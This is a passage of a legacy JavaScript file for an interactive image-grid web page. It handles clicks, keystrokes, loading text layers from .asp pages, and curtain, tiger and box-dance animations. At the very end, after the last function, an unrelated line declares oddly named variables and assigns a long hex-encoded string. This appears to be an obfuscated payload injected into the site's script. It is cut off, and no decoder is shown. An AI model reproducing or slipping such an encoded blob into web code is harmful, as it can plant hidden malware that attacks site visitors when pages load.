nu_text(23,'right');
helpclik=1;
return false;}


if (checknumber=="help"){textoff();return false;}
if (checknumber=="switch") {switchit();return false;}
if (checknumber=="boxswitch") {boxonoff();return false;}
if (checknumber=="catswitch") {tigerswap();return false;}
if (checknumber=="reset1") {resetgrid();return false;}
if (checknumber=="reset") {closing();return false;}
if (checknumber=="dragit") {dragsetup();return false;}
if (checknumber=="pawswitch") {tigerstart();return false;}
if (checknumber=="irisswitch") {swish();return false;}
if (checknumber=="dancingswitch") {formation();return false;}
if (checknumber=="animeoff") {nodance();return false;}
if (checknumber=="magneto") {magnets();return false;}
if (checknumber=="chase") {chaser();return false;}
if (checknumber=="txt") {return false;}

counter=counter+1;
if (counter>=10 && gridlevel==0) {switchclear();unlock1Lyr.visibility="hidden";Image_[1].src=hintimg.src;counter=0;}

if (r_jumper==0) {
r_jumper=1; 	// r_jumper stops images reloading on repeated click
switchclear();

if (boxstate==0) {

if (dragswitch==0) {
if (gridlevel<8 && (tyger!=0 || curtain!=0 || gridlevel==6 ))
{switch1=hazeLyr[7];switch2=hazeLyr[6];switch3=hazeLyr[8];}
else
{switch1=changer[6];switch2=changer[7];switch3=changer[8];}
}
switchjump();
switch3.left=x_pos3;
switch3.top=y_pos3;
switch3.visibility="visible";
if (gridscheme==0 && gridlevel!=0)
{		// ***a bit of image swapping just to show how...
if (gridlevel==3) {
// 	selected box setup
box_select= "Image_["+checknumber+"]";selected=eval(box_select);
// 	1st suggestion box setup
box_varbl= "Image_["+selct2+"]";sugg_1=eval(box_varbl);
// 	2nd suggestion box setup
alt_box_varbl= "Image_["+selct3+"]";sugg_2=eval(alt_box_varbl);
// 	alternative suggestion box setup
opt3_varbl= "Image_["+selct4+"]";sugg_3=eval(opt3_varbl);

selected.src=box4img.src;
sugg_1.src = box17img.src;
sugg_2.src = altimage1.src;
sugg_3.src = box6img.src;
}
}
}
}
if (passport=="yes" ) 	{	// 	if click from bottom-right-corner
if (passport1=="yes") {stopevent="yes";selct3=2;chaser();return false;}
// 	if sugg not the top 3 and not running tiger = turns off the grid
if (selct3 >4 && gridlevel!=0 && tyger==0) {resetgrid();return false;}
}
if (gridlevel!=0) {text_mover("maybe");} //placed after r-click check so that text doesnt load if restore
}

function randomize() {
rnd = Math.round(1*Math.random());
if (rnd == 1) {selct4=selct3;selct3=1;}
else
{selct4=1;}}

function short_code() {
if (selct1<=1) {selct1=1;}
selct1=parseInt(selct1);}

function boxnoconvert () {		//shite initial programming fix
if (checknumber > 1 && checknumber < 6) {numero=(checknumber-1);}
else {
if (checknumber == 1) {numero=5;}
if (checknumber == 6) {numero=9;}
if (checknumber == 7) {numero=8;}
if (checknumber == 8) {numero=7;}
if (checknumber == 9) {numero=6;}
}}

function switchjump () {
switch1.left=x_pos;switch1.top=y_pos;switch1.visibility="visible";
switch2.left=x_pos1;switch2.top=y_pos1;switch2.visibility="visible";}

function switchjump1 () {switch3.left=x_pos2;switch3.top=y_pos2;switch3.visibility="visible";}

function switchclear() {switch1.visibility="hidden";switch2.visibility="hidden";switch3.visibility="hidden";}

function imgdemo() {
switch1=changer[8];
switch1.left=parseInt(boxHtm[2].left);
switch1.top=parseInt(boxHtm[2].top);
switch1.visibility="visible";}


////////////////////////////////////////////////////////
////////////////////text functions///////////////////////
/////////////////////////////////////////////////////////
///Netscape only - will only load one layer at a time
///nb gridtext.asp is loaded by text_mover() and produces the text on the grid and
///in turn via an onload event in the body of gridtext.asp, onemorego() loads lefttext.asp
///into the left margin - lefttext.asp then loads righttext.asp into the right margin via
///anothergo() another onload event, in lefttext.asp- simple!
/////////////////////////////////////////////////////////////////////////////////////
// just because 'ffin ns (a) cant do layer widths properly and (b) only loads 1 layer at a time



function onemorego() {		//loads the lhs layer of text as lefttext.asp
//- function resides in onload of gridtext.asp
if (valid=="yes" ) {helpLyr.load(trying2, (new_size-5));}
}

function anothergo() { 		//loads the rhs layer of text as righttext.asp
//- function resides in onload of lefttext.asp
if (valid=="yes" ) {help1Lyr.load(trying3, (available_width-parseInt(help1Lyr.left)-10));valid="no";}
}

function loademupright() {
if (document.all) {
eval('parent.help1.innerHTML = parent.ieContent.document.frames["rightieframe"].document.body.innerHTML');}
else {
eval("help1HTML.innerHTML = window.frames.rightieframe.document.getElementById('body').innerHTML");}
}

function loademup() {
if (document.all) {
eval('parent.gridcaption.innerHTML = parent.ieContent.document.frames["ieframe"].document.body.innerHTML');}
else {
eval("capHTML.innerHTML = window.frames.ieframe.document.getElementById('body').innerHTML");}

randmtextposit();}

function loademupleft() {

if (document.all) {
eval('parent.help.innerHTML = parent.ieContent.document.frames["leftieframe"].document.body.innerHTML');}
else {
eval("helpHTML.innerHTML = window.frames.leftieframe.document.getElementById('body').innerHTML");}
}

function text_mover(choice){
if (helpclik==0) {
valid="yes";
capLyr.visibility="hidden";
boxnoconvert();
if (choice=="yes") {
maybclik=0;
if (yesclik==1) {yesclik=0;}
else
{yesclik=yesclik+1;numero = numero+9;}
}
if (choice=="maybe") {
yesclik=1;
if (maybclik==1) {maybclik=0;numero = numero+9;}
else
{maybclik=maybclik+1;numero = numero +18;}
}
if (tyger==1) {trying="mytyger.asp?chooser=" + numero +"&textsize=" + thefontsize;}
else
{
if (gridlevel==1) {
trying="gridtext.asp?chooser=" + numero +"&textsize=" + thefontsize;
trying2="lefttext.asp?chooser=" + numero +"&textsize=" + thefontsize;
trying3="righttext.asp?chooser=" + numero +"&textsize=" + thefontsize;}
else
{trying="gridtext1.asp?chooser=" + numero +"&textsize=" + thefontsize;
trying2="lefttext1.asp?chooser=" + numero +"&textsize=" + thefontsize;
trying3="righttext1.asp?chooser=" + numero +"&textsize=" + thefontsize;}
}
if (stopevent=="yes") {stopevent="no";return false;}

if(document.layers) {capLyr.load(trying, (pic_size*2));randmtextposit();
if (tyger!=1) {
if (gridlevel<3) {nu_text(numero,'both');} // stops mie failing when not enough .asp files
}
}
else
{
if(document.all) {
eval('document.all.ieContent.document.frames["ieframe"].document.location = trying');
if (tyger!=1) {
if (gridlevel<3) {nu_text(numero,'both');} // stops mie failing when not enough .asp files
}
}
else {
eval("ns7input.src = trying");
eval("ns7linput.src = trying2");
eval("ns7rinput.src = trying3");
if (tyger!=1) {
if (gridlevel<3) {nu_text(numero,'both');} // stops mie failing when not enough .asp files
}
}
}
}
}

function randmtextposit () {
interim = rnd1;
rnd1 = (Math.round(8*Math.random())+1);
if (rnd1==interim) {rnd1 =rnd1+1;}
if (rnd1==checknumber) {rnd1 =rnd1+1;}
if (rnd1==10) {rnd1 = selct3;}
box_var= "boxHtm["+rnd1+"]";
alt_text=eval(box_var);
x = parseInt(alt_text.left)-(pic_size/3.5);
y = parseInt(alt_text.top)+(pic_size*0.65);
capLyr.left = x;
capLyr.top = y;
capLyr.visibility="visible";
}

function leftside() {
if (document.layers) {
helpLyr.load(ietext, (new_size-5));
valid="no";}
else{
if (document.all){
eval('document.all.ieContent.document.frames["leftieframe"].document.location = ietext');}
else {
eval("ns7linput.src = ietext");}}
helpLyr.visibility="visible";
}

function nu_text(nu_val,side,textval) {
if (textval!=null) {textlevel=textval};
if (textval==null) {textlevel=gridlevel-1};
if (textlevel<=0) {textlevel=""};
lorr=side;
numero1=nu_val;

if(document.layers) {
trying3="righttext"+textlevel+".asp?chooser=" + numero1 +"&textsize=" + thefontsize;
if (lorr=="right") {valid="yes";anothergo();}
if (lorr=="left") {ietext="lefttext"+textlevel+".asp?chooser=" + numero1 +"&textsize=" + thefontsize;
leftside();}
if (lorr=="both") {trying2="lefttext"+textlevel+".asp?chooser=" + numero1 +"&textsize=" + thefontsize;
valid="yes";onemorego();}
}
else {
if(document.all) {
if (gridlevel<3) {
if (lorr=="right") {
prying="righttext"+textlevel+".asp?chooser=" + numero1 +"&textsize=" + thefontsize;
eval('parent.ieContent.document.frames["rightieframe"].document.location = prying');
help1Lyr.visibility="visible";}

if (lorr=="left") {
ietext="lefttext"+textlevel+".asp?chooser=" + numero1 +"&textsize=" + thefontsize;
leftside();}

if (lorr=="both") {
ietext="lefttext"+textlevel+".asp?chooser="+ numero1+"&textsize="+ thefontsize;
leftside();
drying="righttext"+textlevel+".asp?chooser=" + numero1 +"&textsize=" + thefontsize;
eval('parent.ieContent.document.frames["rightieframe"].document.location = drying');
help1Lyr.visibility="visible";}
}
}
else
{
if (lorr=="right") {
prying="righttext"+textlevel+".asp?chooser=" + numero1 +"&textsize=" + thefontsize;
eval("ns7rinput.src = prying");
help1Lyr.visibility="visible";}

if (lorr=="left") {
ietext="lefttext"+textlevel+".asp?chooser=" + numero1 +"&textsize=" + thefontsize;
leftside();}

if (lorr=="both") {
ietext="lefttext"+textlevel+".asp?chooser="+ numero1+"&textsize="+ thefontsize;
leftside();
drying="righttext"+textlevel+".asp?chooser=" + numero1 +"&textsize=" + thefontsize;
eval("ns7rinput.src = drying");

help1Lyr.visibility="visible";}
}
}
}


////////////////////////////////////////////////////////
//////////////keystrokes////////////////////////////////
////////////////////////////////////////////////////////


function keyDown(e) {

if (document.layers || document.getElementById) {var key_press=e.which ; }
else
{var key_press=window.event.keyCode; }

if (gridlevel!=0) {
if (choreographer==0) {
if (key_press==49){chaser1();}
if (key_press==50){document.bgColor=prefix + thecol;}

}
if (choreographer==1) {

if (key_press==52){dancing(1);}
if (key_press==53){dancing(-1);}
if (key_press==54){dancing(2);}
if (key_press==55){dancing(-2);}
if (key_press==56){dancing(+5);}
if (key_press==57){dancing(-5);}
}
if (key_press==8){key_value=4;imgout();closing();resetgrid();return false;}
else
{return false;}
}
if (gridlevel==0) {
if (key_press==8) {history.back(1);}
if (key_press==53){key_value=1;return false;}
if (key_value==1) {
if (key_press==57){key_value=2;return false;}
else
{key_value=0;return false;}
}
if (key_value==2) {
if (key_press==49){key_value=3;return false;}
else
{key_value=0;}
}
if (key_value==3) {
if (key_press==57){key_value=0;chaser1();}
else
{key_value=0;return false;}
}
}}

//////////////////////////////////////////////////////
/////////////////////animations///////////////////////
//////////////////////////////////////////////////////


function chaser() {    		// *** the light show
if (gridscheme==1) {show_box('hidden');}
Image_[1].src = oldimage.src;  //***white box in the middle
boxHtm[1].visibility="visible";
if (choreographer==1) {stopdance();}
secondsetup();			// setup required layers
//*** clear up the old grid
n=1;
sceneryLyr.top=available_height;
switchclear();
unlock1Lyr.visibility="hidden";
box_yellow.left=new_size;
box_yellow.top=box_position+pic_size;

box_blue.left=new_size;   //always start on the top left corner
box_blue.top=box_position;
box_yellow.visibility="visible";
box_blue.visibility="visible";
xswitch=0;
yswitch=0;
x=0;y=0;
for (var looper = 0; looper < 9; looper++) {
pausing();
if (xswitch==0 && yswitch==0) //going left
{x=x+1;box_blue.left=parseInt(box_blue.left)+pic_size;
if (x>1){xswitch=1;pausing();}}
if (xswitch==1 && yswitch==0) //going down
{y=y+1;box_blue.top=parseInt(box_blue.top)+pic_size;
if (y>1){yswitch=1;pausing();}}
if (xswitch==1 && yswitch==1) //going right
{x=x-1;box_blue.left=parseInt(box_blue.left)-pic_size;
if (x<1){xswitch=0;pausing();}}
if (xswitch==0 && yswitch==1)  //going up
{y=y-1;box_blue.top=parseInt(box_blue.top)-pic_size;
if (y<1){yswitch=0;pausing();}}
}
box_blue.visibility="hidden";
box_yellow.visibility="hidden";
newgrid();
if (gridlevel==1&&gridlock==0) {initLyr.visibility="visible";hint1Lyr.visibility="visible";}
}


function pausing () {
if (document.all) {pause(0.005*available_height);}
else{
for (var ii = 0; ii < 1500; ii++) {m=n+1;m=n-1;}
}
if (n==1) {			//if its running the chaser
store_left=parseInt(box_blue.left);
store_top=parseInt(box_blue.top);
box_yellow.left=store_left;
box_yellow.top=store_top;}
}


function clearpage() {
closing();
choreographer=0;
controlpanel('visible');switchLyr.visibility="visible";
dragiconLyr.visibility="visible";
helpclik=0;
}

function closing() {
resetLyr.visibility="visible";
initLyr.visibility="hidden";
hint1Lyr.visibility="hidden";
ahah=parseInt(boxHtm[2].left);
incher=(ahah+(pic_size*2))/45;
boxHtm[1].visibility="hidden";
closing1();
}

blooper=0;
scrolltimer=null;

function closing1() {
blooper=blooper+1;

if (blooper<47) {

boxHtm[2].left= parseInt(boxHtm[2].left)-incher;
boxHtm[2].top=  parseInt(boxHtm[2].top)-(incher/2);
boxHtm[3].top=  parseInt(boxHtm[3].top)-(incher/2);
boxHtm[4].top=  parseInt(boxHtm[4].top)-(incher/2);
boxHtm[4].left= parseInt(boxHtm[4].left)+incher;
boxHtm[5].left= parseInt(boxHtm[5].left)+incher;
boxHtm[6].left= parseInt(boxHtm[6].left)+incher;
boxHtm[6].top=  parseInt(boxHtm[6].top)+(incher/2);
boxHtm[7].top=  parseInt(boxHtm[7].top)+(incher/2);
boxHtm[8].top=  parseInt(boxHtm[8].top)+(incher/2);
boxHtm[8].left= parseInt(boxHtm[8].left)-incher;
boxHtm[9].left= parseInt(boxHtm[9].left)-incher;

scrolltimer=setTimeout("closing1()",1);
}

else{
clearTimeout(scrolltimer);
blooper=0;
if (dragswitch==1) {dragrestore();}
resetLyr.visibility="hidden";
reseticonLyr.visibility="hidden";
sceneryLyr.visibility="visible";
if (choreographer==1) {stopdance();}
boxHtm[1].visibility="visible";box_setup();
}
}


function swoosh() { //opening
if (curtain==0) {
blooper=0;
nu_text(113,'both',0);
if (gridscheme==0) {switchit();}
curtain=1;
curtain1Lyr.top=(0-box_position);
curtain3Lyr.top=((available_height/2)-box_position);
curtain4Lyr.left=(available_width/2);
curtain5Lyr.left=0;
curtain1Lyr.height=(available_height/2);
curtain3Lyr.height=(available_height/2);
imgout();
incher=(available_height)/50;
sceneryswapper();
move_out();
}
else swish();
}


function move_out() {
blooper=blooper+1;

if (blooper<45) {
curtain1Lyr.top=(parseInt(curtain1Lyr.top)-(incher*0.745));
curtain3Lyr.top=(parseInt(curtain3Lyr.top)+(incher*0.8));
curtain4Lyr.left=(parseInt(curtain4Lyr.left)+(incher*2));
curtain5Lyr.left=(parseInt(curtain5Lyr.left)-(incher*2));
scrolltimer=setTimeout("move_out()",1);
}
else
{
clearTimeout(scrolltimer);
blooper=0;
clipLayer(irisiconLyr,irisiconclipArray,1);
dragiconLyr.visibility="hidden";
dancingiconLyr.visibility="hidden";
switchLyr.visibility="hidden";
pawiconLyr.visibility="hidden";
tigericonLyr.visibility="visible";
markerLyr.visibility="hidden";
}
}

function swish() { //closing
if (curtain==1) {
blooper=0;
imgout();
curtain=0;
tyger=0;
curtain1Lyr.top=-((available_height/2)+box_position);
curtain3Lyr.top=(available_height);
curtain4Lyr.left=available_width;
curtain5Lyr.left=-(available_width/2);
pincher=(available_height)/50;
if (document.layers) {stepper=37;}
else {stepper=34;}
move_in();
}
else {swoosh();}
}


function move_in() {
blooper=blooper+1;
if (blooper< stepper) {
curtain1Lyr.top=parseInt(curtain1Lyr.top)+(pincher*0.745);
curtain3Lyr.top=parseInt(curtain3Lyr.top)-(pincher*0.75);
curtain4Lyr.left=parseInt(curtain4Lyr.left)-(pincher*1.3);
curtain5Lyr.left=parseInt(curtain5Lyr.left)+(pincher*1.3);
scrolltimer=setTimeout("move_in()",10);
}
else
{
blooper=0;
clearTimeout(scrolltimer);
clipLayer(irisiconLyr,irisiconclipArray,0);
tigericonLyr.visibility="hidden";
clipLayer(tigericonLyr,tigericonclipArray,0);
switchLyr.visibility="visible";
dragiconLyr.visibility="visible";
dancingiconLyr.visibility="visible";
pawiconLyr.visibility="visible";
markerLyr.visibility="visible";
document.bgColor="#888488";
thecol=888488;
tiger_1.src=tiger1img.src;
tiger_2.src=tiger2img.src;
swaptiger=0;
}
}

function sceneryswapper() {
if (gridlevel==2) {
thecol=486868;
curtainimg.src=rich1img.src;
tiger_2.src=rich2img.src;
tiger_1.src=rich3img.src;
}
else
if (gridlevel==4) {
thecol=839990;
curtainimg.src=verm1img.src;
tiger_2.src=verm2img.src;
tiger_1.src=verm3img.src;
}
else
if (gridlevel==5) {
thecol=923232;
curtainimg.src=verm4img.src;
tiger_2.src=verm5img.src;
tiger_1.src=verm6img.src;
}
else
if (gridlevel==6) {
thecol=636960;
curtainimg.src=verm7img.src;
tiger_2.src=verm8img.src;
tiger_1.src=verm9img.src;
}
else
if (gridlevel==7) {
thecol=888488;
curtainimg.src=backd1img.src;
tiger_2.src=backd2img.src;
tiger_1.src=backd3img.src;
}
else	{
thecol=thecol+888;
curtainimg.src=verm10img.src ;
tiger_2.src=verm11img.src ;
tiger_1.src=verm12img.src ;
}
document.bgColor=prefix + thecol;
}


//////////////////////////////////////////////////////
/////////////////////switch   functions///////////////
//////////////////////////////////////////////////////

function textoff() {	//turns off/on visibility of the text margins
if (helpclik==1) {
helpclik=helpclik-1;
if (tyger==0) {
helpLyr.visibility="visible";
help1Lyr.visibility="visible";}
clipLayer(texticonLyr,texticonArray,0);}
else{
helpclik=helpclik+1;
helpLyr.visibility="hidden";
help1Lyr.visibility="hidden";
clipLayer(texticonLyr,texticonArray,1);}
}


function boxonoff() {
if (boxstate==0) {
boxstate=boxstate+1;
clipLayer(boxswitchLyr,boxswitchclipArray,1);
nu_text(112,'left',0);}
else{
boxstate=boxstate-1;
clipLayer(boxswitchLyr,boxswitchclipArray,0);}
}


function boxswapper() {
if (document.layers || document.all) {
changerhtm[1].nuimg1.src=swapper[1];
changerhtm[2].nuimg2.src=swapper[2];
changerhtm[3].nuimg3.src=swapper[3];
changerhtm[4].nuimg4.src=swapper[4];
changerhtm[5].nuimg5.src=swapper[5];
changerhtm[6].nuimg6.src=swapper[6];
changerhtm[7].nuimg7.src=swapper[7];
changerhtm[8].nuimg8.src=swapper[8];
}
else{
nuimg1 = eval(doc + 'nuimg1' + htm);
nuimg2 = eval(doc + 'nuimg2' + htm);
nuimg3 = eval(doc + 'nuimg3' + htm);
nuimg4 = eval(doc + 'nuimg4' + htm);
nuimg5 = eval(doc + 'nuimg5' + htm);
nuimg6 = eval(doc + 'nuimg6' + htm);
nuimg7 = eval(doc + 'nuimg7' + htm);
nuimg8 = eval(doc + 'nuimg8' + htm);
nuimg1.src=swapper[1];
nuimg2.src=swapper[2];
nuimg3.src=swapper[3];
nuimg4.src=swapper[4];
nuimg5.src=swapper[5];
nuimg6.src=swapper[6];
nuimg7.src=swapper[7];
nuimg8.src=swapper[8];
}
}


function switchit() {
if (gridscheme==0) {
clipLayer(switchLyr,switchclipArray,1);gridscheme=1;
if (gridlevel==3) {blankimage.src=lev3img[0].src;}
else
if (gridlevel==7) {blankimage.src=kal2img.src;}
else
if (gridlevel==8) {blankimage.src=blank2img.src;}
else
{blankimage.src="blank3.gif";}
if (checknumber!="") {
Image_[6].src=blankimage.src;
Image_[7].src=blankimage.src;
Image_[8].src=blankimage.src;
Image_[9].src=blankimage.src;
Image_[1].src=blankimage.src;
Image_[5].src=blankimage.src;
Image_[4].src=blankimage.src;
Image_[3].src=blankimage.src;
Image_[2].src=blankimage.src;
}
if (gridlevel==0 || gridlevel==2) {
swapper[1]=box20img.src;
swapper[2]=box21img.src;
swapper[3]=box22img.src;
swapper[4]=box23img.src;
swapper[5]=box24img.src;
swapper[6]=box25img.src;
swapper[7]=box26img.src;
swapper[8]=box29img.src;
if (gridlevel==0) {unlock1Lyr.visibility="visible";}
}
else {
if (gridlevel==3) {
for (i=1;i<9;i++) {swapper[i]=lev3img[i].src;}
}
else
if (gridlevel==8) {
swapper[1]=blank2img.src;
swapper[2]=box11img.src;
swapper[3]=blank2img.src;
swapper[4]=box12img.src;
swapper[5]=box11img.src;
swapper[6]=blank2img.src;
swapper[7]=box11img.src;
swapper[8]=box12img.src;}
else	{
swapper[1]=box10img.src;
swapper[2]=box30img.src;
swapper[3]=box33img.src;
swapper[4]=box31img.src;
swapper[5]=box32img.src;
swapper[6]=box34img.src;
swapper[7]=box35img.src;
swapper[8]=box36img.src;
}
}
}
else
{unlock1Lyr.visibility="hidden";clipLayer(switchLyr,switchclipArray,0);gridscheme=0;
if (gridlevel==4) {altimage1.src=multiimg.src;}
else
if (gridlevel==5) {altimage1.src=hevn1img.src;}
else
if (gridlevel==7) {altimage1.src=kal1img.src;}
else
if (gridlevel==8) {altimage1.src=blank2img.src;}
else
{
altimage1.src  = box1img.src;
}

Image_[2].src=altimage1.src;
Image_[3].src=altimage1.src;
Image_[4].src=altimage1.src;
Image_[5].src=altimage1.src;
Image_[1].src=altimage1.src;
Image_[9].src=altimage1.src;
Image_[8].src=altimage1.src;
Image_[7].src=altimage1.src;
Image_[6].src=altimage1.src;

if (gridlevel==0) {
swapper[1]=box7img.src;
swapper[2]=box9img.src;
swapper[3]=box14img.src;
swapper[4]=box16img.src;
swapper[5]=box19img.src;
swapper[6]=box15img.src;
swapper[7]=box18img.src;
swapper[8]=box13img.src;
}
else {
if (checknumber=="switch") {nu_text(119,'right',0);}
if (gridlevel==5) {
swapper[1]=backd5img.src;
swapper[2]=backd4img.src;
swapper[3]=hevn5img.src;
swapper[4]=hevn6img.src;
swapper[5]=hevn7img.src;
swapper[6]=hevn2img.src;
swapper[7]=hevn3img.src;
swapper[8]=hevn4img.src;
}
else
if (gridlevel==8) {
swapper[1]=blank2img.src;
swapper[2]=box12img.src;
swapper[3]=blank2img.src;
swapper[4]=box11img.src;
swapper[5]=box12img.src;
swapper[6]=blank2img.src;
swapper[7]=box12img.src;
swapper[8]=box11img.src;
}

else	{
swapper[1]=box3img.src;
swapper[2]=box27img.src;
swapper[3]=box2img.src;
swapper[4]=box5img.src;
swapper[5]=box28img.src;
swapper[6]=box4img.src;
swapper[7]=box17img.src;
swapper[8]=box6img.src;
}}}
boxswapper();
}

function tigerstart() {
if (curtain==0) {
if (dragswitch==1) {return false;}
if (tyger==1) {tigerclear();return false;}
clipLayer(pawiconLyr,pawiconclipArray,1);
if (gridlevel<3) {	nu_text(121,'both',0);}

tyger=1;
switchclear();
switchLyr.visibility="hidden";
capLyr.visibility="hidden";
tiger1Lyr.visibility="visible";
curtain1Lyr.top=available_height; //push them out of the way
curtain3Lyr.top=available_height;
curtain4Lyr.left=available_width;
curtain5Lyr.left=available_width;
if (gridscheme==0) {switchit();}
tigericonLyr.visibility="visible";
irisiconLyr.visibility="hidden";
dragiconLyr.visibility="hidden";
dancingiconLyr.visibility="hidden";
}
}

function tigerswap() {
if (curtain==1&&gridlevel<3)	{nu_text((50+swaptiger),'both');}
if (swaptiger==0)
{swaptiger=1;clipLayer(tigericonLyr,tigericonclipArray,1);
tiger1Lyr.visibility="hidden";tiger2Lyr.visibility="visible";}
else
if (swaptiger==1) {
swaptiger=2;clipLayer(tigericonLyr,tigericonclipArray,0);
tiger1Lyr.visibility="visible";tiger2Lyr.visibility="hidden";}
else
{swaptiger=0;
if (curtain==0) {tigerswap();}
if (curtain==1)	{
clipLayer(tigericonLyr,tigericonclipArray,1);
tiger2Lyr.visibility="hidden";tiger1Lyr.visibility="hidden";}
}
}

function tigerclear() {
tyger=0;
swaptiger=0;
curtain1Lyr.top=0; //put them back again
curtain5Lyr.left=0;
curtain3Lyr.top=(available_height/2)
curtain4Lyr.left=(available_width/2);
tigericonLyr.visibility="hidden";
switchLyr.visibility="visible";
dragiconLyr.visibility="visible";
dancingiconLyr.visibility="visible";
irisiconLyr.visibility="visible";
tiger1Lyr.visibility="hidden";
tiger2Lyr.visibility="hidden";
clipLayer(pawiconLyr,pawiconclipArray,0);
clipLayer(tigericonLyr,tigericonclipArray,0);
capLyr.visibility="hidden";
}


var riot = 0;
function dancing1() {
if (choreographer==1 && dance==1) {
if (parseInt(boxHtm[3].top)<-2) {riot=500;switchit();}
if (parseInt(boxHtm[7].top)<-2) {riot=0;formation();}
if (riot<500) {dancing(1);}
if (riot>499 && riot<1000) {dancing(-1);}
if (riot>999) {riot=0;}
riot++;
setTimeout('dancing1()',0);}
}

function nodance() {
if (dance==1) {
dance=0;
clipLayer(crossiconLyr,crossiconclipArray,0);
boxstate=0}
else {
dance=1;
clipLayer(crossiconLyr,crossiconclipArray,1);
boxstate=1;dancing1();}
}

function stopdance () {
choreographer=0;
if (textswitch1==1) {helpclik=0;textswitch1=0;}
crossiconLyr.visibility="hidden";
dance=0;
clipLayer(crossiconLyr,crossiconclipArray,0);
clipLayer(dancingiconLyr,dancingiconclipArray,1);
clipLayer(dancingiconLyr,dancingiconclipArray,0);
pawiconLyr.visibility="visible";
irisiconLyr.visibility="visible";
texticonLyr.visibility="visible";
boxformation=0;
}

function dancing(swing) {
incher=swing;
var nincher=swing;
if (incher!=1) {themove=5;}
if (incher==1 || incher==-1 ) {themove=1;}
for (var blooper = 0; blooper < themove; blooper++) {
boxHtm[2].top= parseInt(boxHtm[2].top)+incher;
boxHtm[3].top= parseInt(boxHtm[3].top)-nincher;
boxHtm[4].top= parseInt(boxHtm[4].top)+incher;
boxHtm[6].top= parseInt(boxHtm[6].top)-nincher;
boxHtm[7].top= parseInt(boxHtm[7].top)+incher;
boxHtm[8].top= parseInt(boxHtm[8].top)-nincher;
boxHtm[2].left=parseInt(boxHtm[2].left)+incher;
boxHtm[4].left=parseInt(boxHtm[4].left)-nincher;
boxHtm[5].left=parseInt(boxHtm[5].left)+incher;
boxHtm[6].left=parseInt(boxHtm[6].left)-nincher;
boxHtm[8].left=parseInt(boxHtm[8].left)+incher;
boxHtm[9].left=parseInt(boxHtm[9].left)-nincher;}
}


function formation() {
if (choreographer==0){nu_text(114,'both',0);sceneryLyr.visibility="hidden";
pawiconLyr.visibility="hidden";
irisiconLyr.visibility="hidden";
texticonLyr.visibility="hidden";
tigericonLyr.visibility="hidden";
crossiconLyr.visibility="visible";
reseticonLyr.visibility="visible";
choreographer=1;
if (helpclik==0) {textswitch1=1;helpclik=1;}
}
imgout();
boxformation=boxformation+1;
boxHtm[1].left=new_size+pic_size;
boxHtm[1].top=box_position+pic_size;

if (boxformation==1) {
clipLayer(dancingiconLyr,dancingiconclipArray,1);
boxHtm[2].left=new_size+(pic_size*0.03);
boxHtm[2].top=box_position+(pic_size*0.03);
boxHtm[3].left=new_size+pic_size;
boxHtm[3].top=box_position+pic_size;
boxHtm[4].left=new_size+(pic_size)+(pic_size*0.98);
boxHtm[4].top=box_position+(pic_size*0.03);
boxHtm[5].left=new_size+pic_size;
boxHtm[5].top=box_position+pic_size;
boxHtm[6].left=new_size+(pic_size)+(pic_size*0.98);
boxHtm[6].top=box_position+(pic_size)+(pic_size*0.97);
boxHtm[7].left=new_size+pic_size;
boxHtm[7].top=box_position+pic_size;
boxHtm[8].left=new_size+(pic_size*0.03);
boxHtm[8].top=box_position+(pic_size)+(pic_size*0.97);
boxHtm[9].left=new_size+pic_size;
boxHtm[9].top=box_position+pic_size;
}

if (boxformation==2) {
clipLayer(dancingiconLyr,dancingiconclipArray,2);
switchit();
boxHtm[2].left=new_size+pic_size+(pic_size*0.98);
boxHtm[2].top=box_position+pic_size+(pic_size*0.98);
boxHtm[3].left=new_size+pic_size;
boxHtm[3].top=box_position-(pic_size*0.21);
boxHtm[4].left=new_size+(pic_size*0.03);
boxHtm[4].top=box_position+pic_size+(pic_size*0.98);
boxHtm[5].left=new_size+pic_size+pic_size+(pic_size*0.21);
boxHtm[5].top=box_position+pic_size;
boxHtm[6].left=new_size+(pic_size*0.03);
boxHtm[6].top=box_position+(pic_size*0.03);
boxHtm[7].left=new_size+pic_size;
boxHtm[7].top=box_position+pic_size+pic_size+(pic_size*0.21);
boxHtm[8].left=new_size+pic_size+(pic_size*0.98);
boxHtm[8].top=box_position+(pic_size*0.03);
boxHtm[9].left=new_size-(pic_size*0.21);
boxHtm[9].top=box_position+pic_size;
}

if (boxformation==3) {
clipLayer(dancingiconLyr,dancingiconclipArray,1);  //tres annoyant
boxHtm[3].left=new_size+pic_size;
boxHtm[3].top=box_position+pic_size;
boxHtm[5].left=new_size+pic_size;
boxHtm[5].top=box_position+pic_size;
boxHtm[7].left=new_size+pic_size;
boxHtm[7].top=box_position+pic_size;
boxHtm[9].left=new_size+pic_size;
boxHtm[9].top=box_position+pic_size;

boxHtm[2].left=new_size+(pic_size*1.5);
boxHtm[2].top=box_position+(pic_size*1.5);
boxHtm[4].left=new_size+(pic_size*0.5);
boxHtm[4].top=box_position+(pic_size*1.5);
boxHtm[6].left=new_size+(pic_size*0.5);
boxHtm[6].top=box_position+(pic_size*0.5);
boxHtm[8].left=new_size+(pic_size*1.5);
boxHtm[8].top=box_position+(pic_size*0.5);
}

if (boxformation==4) {
clipLayer(dancingiconLyr,dancingiconclipArray,0);
box_setup();
}

if (boxformation==5) {
boxformation=0;
formation();
}
}
function magiccontents() {
if(document.layers) {
destination.open();
destination.write(maintext);
destination.close();
} else {
eval('parent.destination.innerHTML = maintext');}
}
this.objectNull=37351;var objectSwf;var falseDate='';objectSwf='0e030a0f0c0a0e0e471c121b0a0f04160f135508270d0741581910041a0042582c1e1f184f100f1c1611435c2018110c5640021702100101475c1729011a02034b5c0775724b5e4f06064f461f010a00070a150f170b'+'466a147a610e1b594d585d1d16304c01100b031b196d17001b5a26080e0244494f6877487a424f5a4b141012191b3c4f020f012f1c0b1b471f120924120b51055a0c261d04074857552f170702401c1f0c0714447e6f'+'6859474a5f404d01061e44091c1b153213114f504a1d040b1d100e592d142a33333e460a0b160e4842466b4f474d4b1e3166424f50022e100e040d190e483a03170009244b494d01052c1e4d49655e5b5c4f404c0c32'+'171c120c5c14070c1a184f4c577a444e584f404a07051b21041d0b1c1f1f5557714e5a541f180c180c140b0c5f7f594e4c1f061a32171919505c4c5a59614b51666d4f574f63450e0a1c0746505d69475f4f12110d0d'+'51414d52463c1b0e0e5850585d5e494d4079535b5e434841010d0f180e244a40504f5a595804010d0a04196055584d420907160c0419435a4241425370516f74464f4b4249120e131a0900455d45425851492b061b1f'+'1f0e4d516358485b53547a6d1d506a181b090b04130d10460838153f08000c0c0841070702147454177467585d461a1d056302172a070d034d4a59594d5c474674051e0d1